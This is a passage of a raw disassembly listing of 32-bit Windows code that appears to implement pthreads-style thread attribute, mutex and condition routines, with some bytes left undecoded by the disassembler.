loc_433AC7: ; CODE XREF: ___:00433ABFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AF0: ; CODE XREF: ___:00401EB5j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B17 mov eax, [esp+8] test eax, eax jz short loc_433B17 cmp eax, 2 jbe short loc_433B17 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_433B17: ; CODE XREF: ___:00433AFFj ; ___:00433B07j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433B30: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B76 mov edi, [esp+14h] test edi, edi jz short loc_433B76 mov esi, [edi] push eax call sub_401555 add esp, 4 cmp esi, eax jl short loc_433B76 push 0 call sub_401442 add esp, 4 cmp esi, eax jg short loc_433B76 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_433B76: ; CODE XREF: ___:00433B42j ; ___:00433B4Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BA0: ; CODE XREF: ___:00401EFBj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433BC5 mov eax, [esp+0Ch] test eax, eax jz short loc_433BC5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433BC5: ; CODE XREF: ___:00433BB0j ; ___:00433BB8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BE0: ; CODE XREF: ___:004015BEj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_433BF9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433BF9: ; CODE XREF: ___:00433BF0j mov eax, [esp+0Ch] test eax, eax jz short loc_433C0D cmp eax, 1 jz short loc_433C0D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433C0D: ; CODE XREF: ___:00433BFFj ; ___:00433C04j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433C30: ; CODE XREF: ___:004019E7j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433C55 mov eax, [esp+0Ch] test eax, eax jz short loc_433C55 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433C55: ; CODE XREF: ___:00433C40j ; ___:00433C48j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433C70 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433CB5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_433CB0 cmp eax, 2 jg short loc_433CB0 test eax, eax jz short loc_433C9C mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_433C9C: ; CODE XREF: sub_433C70+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020D1 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_433CB0: ; CODE XREF: sub_433C70+1Aj ; sub_433C70+1Fj mov eax, 16h loc_433CB5: ; CODE XREF: sub_433C70+12j pop esi retn sub_433C70 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433CE0 proc near ; CODE XREF: sub_4020D1j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_401555 add esp, 4 cmp esi, eax jl loc_433D85 push edi call sub_401442 add esp, 4 cmp esi, eax jg short loc_433D85 cmp esi, 0FFFFFFF1h jle short loc_433D20 cmp esi, 0FFFFFFFEh jge short loc_433D20 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_433D32 ; --------------------------------------------------------------------------- loc_433D20: ; CODE XREF: sub_433CE0+2Fj ; sub_433CE0+34j cmp esi, 0Fh jge short loc_433D32 cmp esi, 2 jle short loc_433D32 mov [esp+8+arg_8], 2 loc_433D32: ; CODE XREF: sub_433CE0+3Ej ; sub_433CE0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_433D7E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 27508F4h test eax, eax jnz short loc_433D72 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D72: ; CODE XREF: sub_433CE0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_433D7E: ; CODE XREF: sub_433CE0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D85: ; CODE XREF: sub_433CE0+19j ; sub_433CE0+2Aj pop edi mov eax, 16h pop esi retn sub_433CE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433DC0 proc near ; CODE XREF: sub_4021B2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433DF9 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_433DF4 mov eax, [esp+4+arg_8] test eax, eax jz short loc_433DF4 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433DF4: ; CODE XREF: sub_433DC0+1Bj ; sub_433DC0+23j mov eax, 16h loc_433DF9: ; CODE XREF: sub_433DC0+12j pop esi retn sub_433DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E10 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E23 cmp eax, 2 jg short loc_433E23 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_433E23: ; CODE XREF: sub_433E10+6j ; sub_433E10+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E50 proc near ; CODE XREF: sub_401555j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E63 cmp eax, 2 jg short loc_433E63 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_433E63: ; CODE XREF: sub_433E50+6j ; sub_433E50+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433E90: ; CODE XREF: ___:00401ADCj push esi mov esi, [esp+8] test esi, esi jz short loc_433ED5 nop call near ptr 27508C5h cmp esi, eax jz short loc_433ED5 push esi push 0 push 200h call near ptr 2710000h nop test eax, eax jnz short loc_433ED5 call near ptr 27D0990h nop mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433ED5: ; CODE XREF: ___:00433E97j ; ___:00433EA1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_433EEE call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433EEE: ; CODE XREF: ___:00433EDBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F20: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] test esi, esi jz short loc_433F65 nop call near ptr 27508C5h cmp esi, eax jz short loc_433F65 push esi push 0 push 400h nop call near ptr 2710000h test eax, eax jnz short loc_433F65 call near ptr 27D0990h nop mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433F65: ; CODE XREF: ___:00433F27j ; ___:00433F31j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F90: ; CODE XREF: ___:00401B5Ej push 0 call near ptr 2850369h nop xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433FB0 proc near ; CODE XREF: sub_401C8Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_433FCF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433FCF: ; CODE XREF: sub_433FB0+Aj push 4 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433FE7 mov edi, 0Ch loc_433FE7: ; CODE XREF: sub_433FB0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 275020Ah test eax, eax mov [esi], eax jnz short loc_434014 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434014: ; CODE XREF: sub_433FB0+4Fj test edi, edi jz short loc_434026 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434026: ; CODE XREF: sub_433FB0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_433FB0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434070 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_434095 mov esi, [edi] test esi, esi jz short loc_434095 mov dword ptr [edi], 0 mov eax, [esi] push eax call near ptr 2850BF4h nop test eax, eax jnz short loc_4340A7 mov [edi], esi loc_434095: ; CODE XREF: sub_434070+8j ; sub_434070+Ej call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4340A7: ; CODE XREF: sub_434070+21j push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi retn sub_434070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4340E0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_434113 mov eax, [eax] test eax, eax jz short loc_434113 mov eax, [eax] push 0 push eax call near ptr 2780469h nop cmp eax, 102h jnz short loc_434125 mov esi, 0Bh nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434113: ; CODE XREF: sub_4340E0+7j ; sub_4340E0+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434125: ; CODE XREF: sub_4340E0+1Fj xor eax, eax pop esi retn sub_4340E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434150 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_43417D mov eax, [eax] test eax, eax jz short loc_43417D mov eax, [eax] push eax call sub_40164A ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0B146E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_43417D: ; CODE XREF: sub_434150+7j ; sub_434150+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_434150 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4341C0 proc near ; CODE XREF: sub_4018A7j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_4341E3 mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4341E3: ; CODE XREF: sub_4341C0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_4341F2 or ebx, 0FFFFFFFFh jmp short loc_434251 ; --------------------------------------------------------------------------- loc_4341F2: ; CODE XREF: sub_4341C0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_434251 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_434251 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_434251 dec ebx loc_434251: ; CODE XREF: sub_4341C0+30j ; sub_4341C0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D84 sub_4341C0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 7EB04FE8h, 30899077h, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4342D0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4342EF mov eax, [eax] test eax, eax jz short loc_4342EF mov eax, [eax] push 0 push 1 push eax call near ptr 2750000h nop test eax, eax jnz short loc_4342FF loc_4342EF: ; CODE XREF: sub_4342D0+6j ; sub_4342D0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4342FF: ; CODE XREF: sub_4342D0+1Dj xor eax, eax retn sub_4342D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434320 proc near ; CODE XREF: sub_402068j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_434346 mov eax, [eax] test eax, eax jz short loc_434346 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_434346 mov eax, [eax] push 0 push ecx push eax call near ptr 2750000h nop test eax, eax jnz short loc_434356 loc_434346: ; CODE XREF: sub_434320+6j ; sub_434320+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_434356: ; CODE XREF: sub_434320+24j xor eax, eax retn sub_434320 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434370: ; CODE XREF: ___:0040143Dj mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4343BD mov esi, [eax] test esi, esi jz short loc_4343BD mov edi, [esp+10h] test edi, edi jz short loc_4343BD mov eax, [esi] push 0 push eax nop call near ptr 2780469h cmp eax, 102h jnz short loc_4343A1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4343A1: ; CODE XREF: ___:00434398j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx call near ptr 2750000h nop mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4343BD: ; CODE XREF: ___:00434378j ; ___:0043437Ej ... call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4343F0: ; CODE XREF: ___:0040222Fj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434410: ; CODE XREF: ___:00402031j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434430: ; CODE XREF: ___:00401CC6j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434450 proc near ; CODE XREF: sub_4019A1j arg_0 = dword ptr 4 push esi push offset dword_510940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_434484 push esi push ecx call sub_402211 add esp, 8 mov esi, eax push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_434484: ; CODE XREF: sub_434450+17j test eax, eax jnz short loc_43448D mov esi, 16h loc_43448D: ; CODE XREF: sub_434450+36j push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_434450 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4344C0 proc near ; CODE XREF: sub_402211j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4344DE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4344DE: ; CODE XREF: sub_4344C0+11j lea eax, [esp+14h+var_4] push eax call sub_401C3A mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_434519 mov [esp+14h+var_4], 1 loc_4344FB: ; CODE XREF: sub_4344C0+5Ej ; sub_4344C0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434530 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434519: ; CODE XREF: sub_4344C0+31j cmp [esp+14h+var_4], 1 jle short loc_4344FB cmp ebx, 1 jnz short loc_4344FB pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434530: ; CODE XREF: sub_4344C0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43454D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43454D: ; CODE XREF: sub_4344C0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A1E mov edi, eax add esp, 4 test edi, edi jnz short loc_434583 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_434583 mov dword ptr [esi], 3 loc_434583: ; CODE XREF: sub_4344C0+9Ej ; sub_4344C0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_43459F mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43459F: ; CODE XREF: sub_4344C0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4344C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_434600: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4346A5 mov esi, [edi] test esi, esi jz loc_4346A5 cmp esi, 0FFFFFFFFh jz short loc_434668 cmp dword ptr [esi], 3 jnz short loc_43464D lea eax, [esi+4] push eax call sub_402252 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_43469F loc_434637: ; CODE XREF: ___:0043465Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43464D: ; CODE XREF: ___:00434623j push 1 push 0 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 1 jz short loc_434637 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_434668: ; CODE XREF: ___:0043461Ej push offset dword_510940 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43468F push offset dword_510940 mov dword ptr [edi], 0 call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43468F: ; CODE XREF: ___:00434676j push offset dword_510940 mov ebx, 10h nop call near ptr 7C9010EDh loc_43469F: ; CODE XREF: ___:00434635j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4346A5: ; CODE XREF: ___:0043460Bj ; ___:00434615j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4346E0: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] test esi, esi jz short loc_434741 mov eax, [esi] test eax, eax jz short loc_434741 cmp eax, 0FFFFFFFFh jnz short loc_434701 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434746 loc_434701: ; CODE XREF: ___:004346F2j mov esi, [esi] push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 2 jnz short loc_434723 loc_434713: ; CODE XREF: ___:00434721j push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 2 jz short loc_434713 loc_434723: ; CODE XREF: ___:00434711j mov eax, [esi] cmp eax, 2 jnz short loc_43472E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43472E: ; CODE XREF: ___:00434728j cmp eax, 3 jnz short loc_434741 add esi, 4 push esi call sub_402248 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434741: ; CODE XREF: ___:004346E7j ; ___:004346EDj ... mov eax, 16h loc_434746: ; CODE XREF: ___:004346FFj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434770: ; CODE XREF: ___:00401AB9j mov eax, [esp+4] push esi test eax, eax jz short loc_4347B1 mov esi, [eax] test esi, esi jz short loc_4347B1 cmp esi, 0FFFFFFFFh jnz short loc_43478B loc_434784: ; CODE XREF: ___:00434797j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43478B: ; CODE XREF: ___:00434782j push 2 push 1 push esi call dword_5103C8 ; InterlockedCompareExchange dec eax jz short loc_434784 dec eax jz short loc_4347AD dec eax jnz short loc_4347B1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4347AD: ; CODE XREF: ___:0043479Aj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4347B1: ; CODE XREF: ___:00434777j ; ___:0043477Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4347E0: ; CODE XREF: ___:00401942j push esi mov esi, [esp+8] test esi, esi jz short loc_434830 mov eax, [esi] test eax, eax jz short loc_434830 cmp eax, 0FFFFFFFFh jnz short loc_434801 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434835 loc_434801: ; CODE XREF: ___:004347F2j mov esi, [esi] push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange dec eax jz short loc_43482C dec eax jz short loc_434825 dec eax jnz short loc_434830 add esi, 4 push esi call sub_401785 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434825: ; CODE XREF: ___:00434812j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43482C: ; CODE XREF: ___:0043480Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_434830: ; CODE XREF: ___:004347E7j ; ___:004347EDj ... mov eax, 16h loc_434835: ; CODE XREF: ___:004347FFj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434860: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43488C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_434887 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_434887: ; CODE XREF: ___:0043487Ej xor eax, eax mov [esi+20h], ecx loc_43488C: ; CODE XREF: ___:00434872j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4348A0 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43492C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4348C4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4348C4: ; CODE XREF: sub_4348A0+1Bj push edi push esi push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_4348DD mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348DD: ; CODE XREF: sub_4348A0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4348ED mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348ED: ; CODE XREF: sub_4348A0+41j mov eax, [esi+4] push eax call sub_40164A ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 30C299E8h, 0C0859002h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43492C: ; CODE XREF: sub_4348A0+12j pop esi retn sub_4348A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434960 proc near ; CODE XREF: sub_401609j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434985 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_434985: ; CODE XREF: sub_434960+15j nop call near ptr 2740763h cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4349AE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349AE: ; CODE XREF: sub_434960+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4349CB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349CB: ; CODE XREF: sub_434960+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_434960 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434A00 proc near ; CODE XREF: sub_401AB4j arg_0 = dword 